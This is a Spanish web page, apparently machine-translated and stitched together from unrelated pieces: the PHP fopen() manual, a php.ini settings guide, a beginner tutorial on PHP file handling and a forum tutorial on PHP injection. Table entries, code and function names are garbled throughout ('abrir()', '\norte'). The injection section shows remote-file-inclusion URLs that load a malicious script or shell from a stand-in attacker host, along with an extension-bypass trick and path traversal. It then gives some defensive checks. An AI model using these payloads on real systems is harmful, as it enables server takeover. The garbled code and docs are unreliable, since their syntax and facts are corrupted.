Hogar / Consolas de juegos / Trabajar con archivos en php: abrir, escribir, leer. ¿PHP proc_open bloquea una solicitud web? Manejo de errores y registros

Trabajar con archivos en php: abrir, escribir, leer. ¿PHP proc_open bloquea una solicitud web? Manejo de errores y registros

(PHP 4, PHP 5, PHP 7)

abrir - Abre un archivo o URL

Descripción

Recurso abrir (cadena $ nombre de archivo , cadena $modo [, bool $use_include_path = falso [, recurso $ contexto ]])

abrir() asigna el recurso nombrado especificado en el argumento del nombre de archivo a la secuencia.

Lista de parámetros

Si el nombre del archivo se pasa en el formato "esquema://...", se considera una URL y PHP buscará un controlador de protocolo (también conocido como "contenedor") para ese esquema si no se asigna ningún contenedor al esquema. protocolo, PHP emitirá una advertencia para ayudarle a localizar un problema potencial en su secuencia de comandos y luego continuar la ejecución como si el nombre del archivo apuntara a un archivo normal.

Si PHP configura el nombre del archivo para que apunte a un archivo local, intenta abrir una secuencia para ese archivo.

El archivo debe ser accesible mediante PHP, por lo que debe asegurarse de que los permisos del archivo lo permitan.

Si ha habilitado el modo seguro o open_basedir, se aplican más restricciones.:

Si PHP determina que el nombre de archivo apunta a un protocolo registrado y ese protocolo está registrado como una URL de red, PHP verifica el estado de la directiva enable_url_fopen. Si está deshabilitado, PHP emitirá una advertencia y la llamada fopen fallará. Comentario Una lista de protocolos admitidos está disponible en la sección Protocolos y contenedores admitidos. Algunos protocolos ( envoltorios utilizado por envoltorio http).

En la plataforma Windows, debe evitar todas las barras invertidas en la ruta del archivo o utilizar barras diagonales.

$handle = fopen("c:\\carpeta\\resource.txt", "r");
?>

El parámetro de modo especifica el tipo de acceso que solicita al hilo. Puede ser una de las siguientes opciones:

Lista de modos posibles para abrir() modo de uso
modo Descripción
"r" Abre el archivo de solo lectura; coloca el puntero al principio del archivo.
"r+" Abre un archivo para lectura y escritura; coloca el puntero al principio del archivo.
"w" Abre el archivo sólo para escritura; coloca un puntero al principio del archivo y trunca el archivo a longitud cero.
Si el archivo no existe, intenta crearlo. "w+"
Abre un archivo para lectura y escritura; coloca un puntero al principio del archivo y trunca el archivo a longitud cero. Si el archivo no existe, intenta crearlo.
"a" Abre el archivo sólo para escritura; coloca el puntero al final del archivo. Si el archivo no existe, intenta crearlo.
"un+" Abre un archivo para lectura y escritura; coloca el puntero al final del archivo. Si el archivo no existe, intenta crearlo. abrir()"incógnita" Crea y abre solo para escritura; coloca el puntero al principio del archivo. Si el archivo ya existe, llame termina en fracaso, regresará FALSO y dará un error de nivel E_ADVERTENCIA. Si el archivo no existe, intentará crearlo. Esto es equivalente a especificar banderas.
O_EXCL|O_CREAT para llamada al sistema interno "un+".
abierto(2) "x+" "w" Crea y abre para lectura y escritura; por lo demás tiene el mismo comportamiento que "un+""do" Abre el archivo solo para escritura. Si el archivo no existe, se crea. Si el archivo existe, entonces no se trunca (a diferencia de "w"), y llamar a esta función no causa un error (como es el caso con ). El puntero del archivo se establecerá al principio del archivo. Esto puede resultar útil si desea bloquear un archivo (consulte rebaño()
) antes de cambiar, desde su uso puede truncar el archivo antes de que se haya adquirido el bloqueo (si desea truncar el archivo, puede usar la función abierto(2).

Si ha habilitado el modo seguro o open_basedir, se aplican más restricciones.:

ftruncar() después de una solicitud de bloqueo)."c+" Abre un archivo para lectura y escritura; por lo demás tiene el mismo comportamiento que Las diferentes familias de sistemas operativos tienen diferentes convenciones con respecto a los finales de línea. Cuando escribe texto y desea insertar un salto de línea, debe utilizar los caracteres (o símbolos) correctos para su Sistema operativo. Uso de sistemas de la familia Unix \norte como caracteres de final de línea y sistemas Macintosh utilizan \r como carácter de final de línea.

Si utiliza el carácter de final de línea incorrecto al editar archivos, es posible que esos archivos se vean "raros" al abrirlos.

Windows ofrece un indicador de modo de transmisión de texto ( "t"), que se traducirá automáticamente Abre un archivo para lectura y escritura; por lo demás tiene el mismo comportamiento que V \norte mientras trabaja con un archivo. Y viceversa: también puedes usar"b" Y viceversa: también puedes usar para forzar el modo binario, que no convertirá sus datos. Para utilizar estos modos, especifique "t" o

la última letra del parámetro de modo. "t" Dado que la configuración del indicador de traducción predeterminado depende de SAPI y de la versión de PHP que esté utilizando, le recomendamos que establezca explícitamente el indicador especificado por motivos de portabilidad. Debes usar el modo si estas trabajando con archivo de texto Abre un archivo para lectura y escritura; por lo demás tiene el mismo comportamiento que y usar Y viceversa: también puedes usar.

para marcar el final de una línea en su script sin preocuparse por la legibilidad de sus archivos en otras aplicaciones como el Bloc de notas. En todos los demás casos, utilice la bandera. \norte.

Si ha habilitado el modo seguro o open_basedir, se aplican más restricciones.:

Si no especifica explícitamente el indicador "b" cuando trabaja con archivos binarios, puede experimentar una corrupción extraña de sus datos, incluidos archivos de imágenes corruptos y problemas de símbolos extraños. abrir() .

Si ha habilitado el modo seguro o open_basedir, se aplican más restricciones.:

Por razones de portabilidad, se recomienda encarecidamente utilizar siempre el indicador "b" al abrir archivos con "t" Además, por motivos de portabilidad, también se recomienda reescribir el código heredado que se basa en la Y viceversa: también puedes usar.

para que en su lugar utilice finales de línea y modos adecuados

use_include_path El tercer parámetro opcional use_include_path se puede establecer en "1" o VERDADERO

si también desea buscar un archivo en include_path.

Si ha habilitado el modo seguro o open_basedir, se aplican más restricciones.: Contexto Se agregó soporte de contexto en PHP 5.0.0. Para descripción contextos

consulte la sección Transmisiones.

Valores de retorno Crea y abre solo para escritura; coloca el puntero al principio del archivo. Si el archivo ya existe, llame Devuelve un puntero al archivo si tiene éxito, o

en caso de error.

Errores FALSO Si el archivo no se pudo abrir, se generará un error de nivel.

. Puede utilizar el operador para suprimir este error.

Lista de cambios

Ejemplos abrir()

Ejemplo #1 Ejemplos de uso
$handle = fopen("/home/rasmus/file.txt", "r");
$handle = fopen ("/home/rasmus/file.gif", "wb");
$handle = fopen("http://www.example.com/", "r"); $manejar = abrir ( "ftp://usuario:[correo electrónico protegido]/algún archivo.txt"
?>

, "w" );

Notas

Atención Al usar SSL, Microsoft IIS viola el protocolo al cerrar la conexión sin enviar un indicador. PHP informará esto como "SSL: Error fatal de protocolo" en el momento en que llegue al final de los datos. Para solucionar esto, debe configurar error_reporting en un nivel que excluya E_WARNING. Las versiones de PHP 4.3.7 y anteriores pueden detectar que hay un IIS problemático en el lado del servidor al abrir una secuencia usando un contenedor https:// y no muestra ninguna advertencia. Si estas usando fsockabierto() crear ssl: // socket, es su responsabilidad detectar y suprimir esta advertencia.

Si ha habilitado el modo seguro o open_basedir, se aplican más restricciones.: Cuando la opción de modo seguro está habilitada, PHP verifica si el directorio con el que está a punto de trabajar tiene el mismo UID (propietario) que el script que se está ejecutando.

Si ha habilitado el modo seguro o open_basedir, se aplican más restricciones.:

Si tiene problemas al leer o escribir archivos y está utilizando PHP como módulo de servidor, asegúrese de que el proceso del servidor tenga acceso a los archivos y directorios que está utilizando.

Si ha habilitado el modo seguro o open_basedir, se aplican más restricciones.:

Esta función también puede tener éxito si el nombre del archivo es un directorio. Si no está seguro de si el nombre del archivo es un archivo o un directorio, entonces necesita usar la función es_dir() abrir() .

, antes de la llamada

  1. La ubicación del archivo php.ini depende del sistema operativo en el que se ejecuta el servidor del proveedor de alojamiento. Para saber dónde está sigue 4 sencillos pasos:
  2. Cree un archivo php (el nombre puede ser cualquier cosa, pero tomamos myphpinfo.php como ejemplo) y agréguele las siguientes líneas:
  3. Cargue este archivo en el servidor donde se encuentra su sitio (en la carpeta raíz).
  4. Lo iniciamos a través del navegador (ingrese la URL https://yoursitename.com/myphpinfo.php).

En la ventana que aparece, busque la ruta a php.ini (primero mire "Archivo de configuración cargado", si dice "Ninguno", luego mire "Ruta del archivo de configuración (php.ini)").

¿Cómo configurar php.ini? El archivo php.ini tiene las siguientes reglas de sintaxis "directiva = valor". Si quieres añadir comentarios (por ejemplo, en los que indiques qué afecta esta configuración

), luego hazlo después del punto y coma (todo lo que viene después de este signo no cuenta como comando). He aquí un ejemplo:

max_execution_time = 40; Número máximo de segundos para la ejecución del script

Configuraciones generales

PHPengine = activado; Los scripts PHP están habilitados.

Short_open_tag = Activado; Permite encuadrar de forma simplificada el código PHP con etiquetas.<% %>

Asp_tags = activado; Permite la posibilidad de resaltar código PHP, como se hace en ASP.

Precisión = 12 ; Especifica cuántos dígitos habrá después del punto decimal para los números de punto flotante.

Almacenamiento en búfer de salida = 4096; El almacenamiento en búfer de salida se habilitará automáticamente, con el tamaño del búfer especificado después de "igual".

Safe_mode_allowed_env_vars = PHP_; Permite al usuario trabajar solo con variables de entorno que comienzan con PHP_. Si esta directiva está vacía (no tendrá valor), los usuarios podrán cambiar cualquier variable de entorno. Esto puede resultar muy perjudicial para la seguridad de los scripts.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH; Prohíbe cambiar las variables que se enumeran separadas por comas.

Desactivar_funciones = ; Después del signo igual, debe escribir las funciones que desea deshabilitar, separadas por comas (generalmente esto se hace por seguridad)

Desactivar_clases = ; Después del signo "igual", debe escribir, separadas por comas, las clases cuyas llamadas desea prohibir (generalmente esto se hace por seguridad)

Limitación de recursos

max_execution_time = 40; Tiempo máximo de ejecución del script (en segundos)

Tiempo_entrada_máx = 40; El tiempo máximo en segundos que se le da al script para procesar los datos que se están cargando.

Límite_memoria = 16M; Memoria máxima asignada para un script

Manejo de errores y registros

informe_error = E_ALL | E_ERROR | E_ADVERTENCIA | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE; Especifica una lista de errores que se pueden mostrar.

Display_errors = Activado; Permite que los errores se muestren directamente en el navegador (a menudo se usa para facilitar la depuración).

Display_startup_errors = Activado; Se permite mostrar los errores que aparecen durante el inicio de PHP.

Log_errors = activado; Se permite que los errores se escriban en un archivo de registro.

Log_errors_max_len = 1024; El número máximo de caracteres que puede tener la longitud del registro.

Track_errors = Activado; Los últimos mensajes de error se almacenarán en la variable $php_errormsg

Html_errors = Activado; Permitir que los mensajes de error se muestren en HTML.

Error_log = nombre de archivo; Establece el nombre del registro de errores.

Proceso de datos

variables_order = "EGPCS"; Establece el orden en el que PHP registrará las variables (E - variables integradas, G - variables GET, P - variables POST, C - Cookies, S - sesiones). Si elimina alguna de las letras, se bloqueará el funcionamiento de las variables correspondientes.

Register_globals = Activado; Habilita la capacidad de tratar variables que vienen a través de GET/POST/Cookie/sesión como variables normales (por ejemplo, "$nombredevariable").

Register_argc_argv = Activado; Se permite crear variables $argv y $argc basadas en información del método GET.

Post_max_size = 8M; Establece la cantidad máxima de datos que se pueden recibir.

Magic_quotes_gpc = Activado; Permite el procesamiento automático de cotizaciones recibidas mediante POST/GET/Cookie.

Auto_prepend_file = ; El contenido de los archivos especificados en estas directivas debe ser procesado en consecuencia por PHP ANTES de ejecutar el script.
auto_append_file = ; PHP debe procesar en consecuencia el contenido de los archivos especificados en estas directivas DESPUÉS de que se haya ejecutado el script.

Default_mimetype = "texto/html"; Establece la codificación para el tipo de contenido. Por defecto, se utilizará texto/html sin especificar la codificación.

raíz_doc = ; Establece la carpeta raíz para los scripts PHP.

Extension_dir = "./"; Especifica la carpeta en la que se almacenarán las extensiones cargadas dinámicamente.

Subiendo archivos

file_uploads = Activado; Se permite cargar archivos al servidor.

Subir_tmp_dir = ; Directorio temporal para archivos a descargar.

Upload_max_filesize = 2M; Establece el tamaño máximo de archivo que se puede cargar.

Trabajar con enchufes

agente_usuario="PHP"; La variable USER_AGENT se establece cuando se produce una conexión de socket.

Default_socket_timeout = 30; Tiempo máximo de escucha en un socket (segundos).

Sesiones

session.save_handler = archivos; Especifica que la información de la sesión debe almacenarse en archivos.

sesión.save_path = /tmp; Después del signo igual, debe especificar la ruta a la carpeta en la que se almacenará la información sobre las sesiones (es importante que la carpeta ya exista)

sesión.use_cookies = 1; Permite el uso de cookies en las sesiones

sesión.nombre = PHPSESSID; Indica el uso del ID de sesión como nombre de sesión y cookie de sesión.

session.cookie_lifetime = 0; Duración de la sesión ("0" significa que la sesión dura hasta que se cierra la ventana del navegador)

sesión.use_trans_sid = 1; Si el usuario ha desactivado las cookies, el ID de la sesión se agregará a todos los enlaces.

Extensiones dinámicas

extensión=nombredelmódulo.extensión; Se puede utilizar para cargar módulos externos. Para sistemas Windows, normalmente escriben extensión=msql.dll, y para
UNIX - extensión=msql.so

Trabajar con módulos MySQL

mysql.allow_persistent = Activado; Permite conexiones MySQL estables.

Mysql.max_persistent = -1; Establece el número máximo de conexiones MySQL estables. Si especifica -1, esto significará que no hay restricciones.

Mysql.max_links = -1; Establece el número máximo de conexiones MySQL estables y conexiones ODBC inestables. Si especifica -1, esto significará que no hay restricciones.

Mysql.default_port =; Puerto para la función mysql_connect.

Mysql.default_socket =; El nombre del socket para las conexiones MySQL locales.

Mysql.default_host =; Nombre de host para la función mysql_connect.

Mysql.default_user = ; Nombre de usuario.

Mysql.default_password =; Contraseña.

Si creó su propio archivo php.ini y lo colocó en la carpeta del sitio

En este caso, por razones de seguridad, debe bloquear el acceso a él para todos excepto para usted. Para hacer esto, necesita escribir el siguiente código en el archivo .htaccess:


orden permitir, negar
negar de todos

Pero ten cuidado, porque... Con esta configuración, todas las directivas (php_value, php_flag, etc.) relacionadas con la configuración de php a través del archivo .htaccess dejarán de funcionar (se mostrará un error interno del servidor 500).

¡Importante! Si crea su propio archivo php.ini, solo afectará al directorio en el que se encuentra.

recurso abrir(nombre de archivo de cadena, modo de cadena [, bool use_include_path [, recurso zcontext]])

abrir() asigna el recurso nombrado especificado en el argumento del nombre de archivo a la secuencia. Si el nombre del archivo se pasa en el formato "esquema://...", se considera una URL y PHP buscará un controlador de protocolo (también conocido como "contenedor") para ese esquema si no se asigna ningún contenedor al esquema. protocolo, PHP emitirá una nota para ayudarle a localizar un problema potencial en su secuencia de comandos y continuará la ejecución como si el nombre del archivo apuntara a un archivo normal.

Si PHP decide que el nombre de archivo apunta a un archivo local, intentará abrir una secuencia para ese archivo. PHP debe poder acceder al archivo, por lo que debe asegurarse de que los permisos del archivo lo permitan. Si tiene habilitado el Modo seguro o open_basedir, se aplican más restricciones.

Si PHP ha decidido que el nombre del archivo apunta a un protocolo registrado y ese protocolo está registrado como una URL de red, PHP comprobará el estado de la directiva enable_url_fopen. Si está deshabilitado, PHP emitirá una advertencia y la llamada fopen fallará.

Comentario: Algunos protocolos admiten opciones de contexto y/o php.ini. Consulte la página del protocolo correspondiente para obtener una lista de opciones que se pueden configurar. (por ejemplo, el valor php.ini user_agent es utilizado por el contenedor http). Para obtener una descripción de los contextos y los parámetros de zcontext, consulte la sección Funciones de transmisión.

Comentario: Se agregó soporte de contexto en PHP 5.0.0.

Comentario: A partir de PHP 4.3.2, el modo binario es el modo predeterminado para todas las plataformas que distinguen entre modos binario y de texto. Si tiene problemas después de la actualización, intente usar el indicador "t" como solución alternativa hasta que cambie sus scripts para lograr una mayor portabilidad, como se indicó anteriormente.

El parámetro de modo especifica el tipo de acceso que solicita al hilo. Puede ser uno de los siguientes:

Si el archivo no se pudo abrir, la función volverá FALSO y generará un error de nivel E_ADVERTENCIA. Puede utilizar esto para suprimir esta advertencia.


Ejemplo 1. Ejemplos de uso de la función. abrir()

Ejemplo #1 Ejemplos de uso
$handle = fopen("/home/rasmus/file.txt", "r");
$handle = fopen ("/home/rasmus/file.gif", "wb");
$handle = fopen("http://www.example.com/", "r"); $manejar = abrir ( "ftp://usuario:[correo electrónico protegido]/algún archivo.txt"
?>

Si tiene problemas al leer o escribir archivos y está utilizando PHP como módulo de servidor, asegúrese de que el proceso del servidor tenga acceso a los archivos y directorios que está utilizando.

16,5K

De hecho, cómo abrir un archivo php no es un gran problema. Puede resultar más difícil abrir una botella de cerveza cuando estás en medio de un bosque. Pero sólo los programadores ávidos piensan de esta manera. Y para los principiantes, le informaremos sobre todas las capacidades de PHP para trabajar con archivos:

archivos php

Los archivos con extensión php contienen código escrito en el lenguaje de programación del mismo nombre. A diferencia de otros lenguajes, php es un lenguaje de programación del lado del servidor. Es decir, se ejecuta del lado del servidor. Por lo tanto, para depurar su código, se debe instalar un servidor local en la máquina cliente.

Para trabajar con archivos php, se utilizan aplicaciones especiales: editores de software. Los más comunes son:

  • Tejedor de sueños.
  • PHPEditar.
  • Desarrollo PHP Eclipse.
Al crear sitios web basados ​​en PHP, es posible que necesite reutilizar el código del programa. En tales situaciones, es conveniente conectar soluciones preparadas ubicadas en otro archivo. Para ello se utiliza la construcción include. Su sintaxis es:

incluir nombre de archivo

Ejemplo de conexión:

Archivo incluido:


También es posible incluir un archivo utilizando la construcción require. A diferencia de incluir, incluye el archivo antes de que se ejecute el código del programa. Al usar require en el código, solo es posible una llamada a este archivo. Cuando se acceda nuevamente, el sistema mostrará un mensaje de error global y detendrá la ejecución del programa.

La construcción de inclusión solo incluye la fuente durante la ejecución del programa. Admite lectura múltiple de archivos php. Si se produce un error, solo se mostrará un mensaje de advertencia y la ejecución del código continuará desde la siguiente línea.

Abrir y cerrar archivos

En PHP, todas las operaciones con archivos se realizan en varias etapas:

  • Abrir un archivo;
  • Edición de contenidos;
  • Cerrando el expediente.

La función fopen() se utiliza para abrir un archivo. Su sintaxis es:

int fopen(nombre de archivo de cadena, modo de cadena [, int use_include_path])

Argumentos aceptados:

  • nombre de archivo de cadena: nombre del archivo o ruta absoluta al mismo. Si no se especifica la ruta al archivo, se buscará en el directorio actual. Si falta el archivo que busca, el sistema mostrará un mensaje de error. Ejemplo:

  • modo de cadena: indica el modo de apertura del archivo. Valores aceptados por el argumento:
  • r: el archivo se abre solo para lectura, el puntero del archivo se establece al principio;
  • r+ – el archivo está abierto para lectura y escritura;
  • w: crea un nuevo archivo solo para escritura. Si ya existe un archivo con el mismo nombre, todos los datos que contiene se eliminan automáticamente;
  • w+: crea un nuevo archivo para escribir y leer. Cuando existe un archivo de este tipo, sus datos se sobrescriben completamente con otros nuevos;
  • a: el archivo está abierto para escritura. El puntero se coloca al final. Es decir, escribir en un archivo php no comenzará desde el principio, sino desde el final;
  • a+: abre un archivo en modo lectura-escritura. La grabación comenzará desde el final;
  • b – modo de trabajar con un archivo que contiene datos binarios (en el sistema numérico binario). Este modo sólo está disponible en el sistema operativo Windows.

Para cerrar el acceso a un archivo, utilice la función fclose(). Sintaxis:

int fclose (archivo int), donde el archivo int es un identificador del sitio que se va a cerrar.

Después de cada lectura o escritura, se debe cerrar el archivo con esta función. De lo contrario, la secuencia creada para el archivo permanece abierta. Y esto conduce a un consumo innecesario de capacidad del servidor.

Ejemplo:

Leer y escribir archivos

Para mostrar simplemente todo el contenido de un archivo, la función readfile() es ideal. Su sintaxis es:

readfile (nombre de archivo de cadena), donde nombre de archivo de cadena es el nombre del archivo de cadena (no un identificador).


El mismo archivo se puede leer usando la función fpassthru(). Lee datos desde la posición final del puntero hasta el final del archivo. Su sintaxis es:

int fpassthru (archivo int)

La función requiere abrir y cerrar un archivo. Ejemplo:

El resultado es similar al anterior.

Las funciones para trabajar con archivos en PHP le permiten leer el contenido línea por línea y carácter por carácter:

  • fgets de cadena (archivo int, longitud int)– la función lee una cadena de longitud longitud. Ejemplo:

  • fread de cadena (archivo int, longitud int)– la acción es idéntica a la anterior.

Para escribir datos de texto en un archivo, existen dos funciones idénticas:

  • int fputs (archivo int, cadena cadena [, longitud int])
  • int fwrite(archivo int, cadena cadena [, longitud int])

Las funciones escriben en un archivo int una cadena de cadena de la longitud especificada int length ( argumento opcional). Ejemplo:

Crear y eliminar archivos

Para crear un archivo php, puede utilizar la función fopen() en el modo de acceso "w" o "w+". O la función touch(). Establece la hora de modificación del archivo. Si no hay ningún elemento con el nombre buscado, se creará. Su sintaxis.

Conceptos básicos de inyección de PHP para principiantes.​


Inyección de PHP(ing. Inyección de PHP) - acerca de Una de las formas de piratear sitios web que se ejecutan en PHP es ejecutar código externo en el lado del servidor. Las funciones potencialmente peligrosas son:
evaluar(),
preg_replace() (con el modificador "e"),
requerir_once(),
incluir_once(),
incluir(),
requerir(),
crear_función().

La inyección de PHP es posible si los parámetros de entrada se aceptan y utilizan sin validación.

Haga clic para ampliar...

(c)Wiki


Lo esencial.​

inyección de php- esta es una forma de ataque a un sitio web cuando el atacante inyecta su código PHP en la aplicación PHP atacada.
Si la inyección tiene éxito, el atacante puede ejecutar código PHP arbitrario (potencialmente peligroso) en el servidor de destino. Por ejemplo, llene el caparazón. Pero primero, analicemos en detalle cómo sucede esto.

Por ejemplo:
Imaginemos que tenemos un sitio web escrito en PHP.
Imaginemos también que el sitio usa el comando página=página.html para mostrar la página solicitada.
El código se verá así:

$archivo = $_GET ["página"]; //Página mostrada
incluir($archivo);
?>

Esto significa que todo lo que se muestra en la página estará incrustado en el código PHP de esa página. Por tanto, un atacante podría hacer algo como:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

Si observamos lo que sucede después de ejecutar la inclusión, vemos el siguiente código ejecutado en el servidor de destino:

$archivo = "http://www.attack_server.com/malicious_script.txt?"; //$_GET["página"];
incluir($archivo); //$file es un script inyectado por un atacante
?>

Vemos que el atacante ha atacado con éxito el servidor de destino.

Más detalles:
Entonces, ¿por qué el atacante pudo realizar una inyección de PHP?
Todo porque funciona. incluir() le permite ejecutar archivos remotos.

¿Por qué se especificó el script con la extensión en el ejemplo? *.TXT , no *.php ?
La respuesta es simple, si el script tuviera el formato *.php , se ejecutaría en el servidor del atacante y no en el sistema de destino.

También se añadió el símbolo ". ? " en la ruta del script inyectado para eliminar cualquier cosa dentro de la función incluir() en el servidor de destino.
Ejemplo:

$archivo = $_GET ["página"];
incluir($archivo. ".php");
?>

Este script agrega la extensión *.php a cualquier cosa llamada por el comando incluir() .
Aquellos.

http: //www.attack_server.com/malicious_script.txt

se convierte en

http: //www.attack_server.com/malicious_script.txt.php

El script no se ejecutará con este nombre (el archivo no existe en el servidor del atacante) /malicious_script.txt.php)
Por eso agregamos "?" hasta el final de la ruta al script malicioso:

http: //www.attack_server.com/malicious_script.txt?.php

Pero sigue siendo ejecutable.

Realización de inyecciones de PHP a través de la vulnerabilidad de la función include().​

RFI: inclusión remota durante la inyección de PHP.


La capacidad de realizar RFI es un error bastante común en los motores.
Puedes encontrarlo de la siguiente manera:
Digamos que accidentalmente nos encontramos con una página que termina así en la barra de direcciones del navegador:

/índice. ¿php? página = principal

Sustituimos en su lugar principal cualquier significado delirante, por ejemplo upyachka

/índice. ¿php? página = upyachka

En respuesta recibiremos un error:

Advertencia: principal (upyachka. php): no se pudo abrir la secuencia: no existe tal archivo o directorio en / home / user / www //page.php en la línea 3

Advertencia: principal (upyachka. php): no se pudo abrir la secuencia: no existe tal archivo o directorio en / home / usuario / www / página. php en la línea 3

Advertencia: main (): Error al abrir "upyachka.php" para su inclusión (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") en /home/usuario/www/page. php en la línea 3

Esto nos muestra que la inclusión es factible.
Intentemos sustituir upyachka sitio con la ruta al shell (no se debe especificar la extensión del archivo del shell, o indicarlo como se describe arriba)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

Así se obtiene la concha. Ahora debes informar al administrador del sitio sobre la vulnerabilidad para que pueda arreglarla y que los malvados no se aprovechen del error.

LFI: inclusión local para inyección de PHP.


Imaginemos que nos encontramos con el mismo sitio vulnerable.

/índice. ¿php? archivo=principal

con codigo

..
Incluir ("carpeta/$página .htm");

?>

Esta ya es una inclusión local. En esta situación, sólo es posible enumerar archivos:

/índice. ¿php? página =../ índice . PHP

En el siguiente caso, el código se ve así:

..
Incluir("$dir1/carpeta/página.php");

?>

En este caso, puedes escribir la ruta al shell de la siguiente manera:
Crear una carpeta carpeta en el sitio web donde está almacenado el shell, suéltelo en esta carpeta:

http: //www.attack_site.com/folder/shell.php

La inyección en este caso se verá así:

índice. ¿php? directorio1 = http: //www.site_attacker.com/

Métodos de protección


Veamos el guión:

...

incluir $módulo. ".php";
...
?>

Este script es vulnerable porque el contenido de la variable $módulo recién agregado *.php y el archivo se inicia utilizando la ruta resultante.

Hay varias formas de protegerse contra un ataque de este tipo:


-Compruebe si la variable $module contiene caracteres extraños:

...
$módulo = $_GET ["módulo"];
if (strpbrk ($módulo, ".?/:" )) die("Bloqueado");
incluir $módulo. ".php";
...
?>

-Comprueba que a $module se le asigna uno de los valores válidos:
"/" , "" , $página); // La capacidad de moverse a otros directorios está bloqueada.
si (archivo_existe ("archivos/ $página .htm " ))
{
Incluir("archivos/$página.htm" );
}
Demás
{
Eco
"error" ;
}

?>

PHP también ofrece la posibilidad de desactivar el uso de archivos remotos; esto se hace cambiando el valor de la opción enable_url_fopen a Off en el archivo de configuración php.ini.

La vulnerabilidad descrita representa un gran peligro para el sitio y los autores de scripts PHP no deben olvidarse de ella.

Al escribir, materiales de
Wikipedia,
del foro extranjero seguridad-sh3ll (spl0it),
del foro Antichat (GreenBear).
agradecimiento especial Burt Y f02 por tu ayuda,
apoyo y buenas críticas)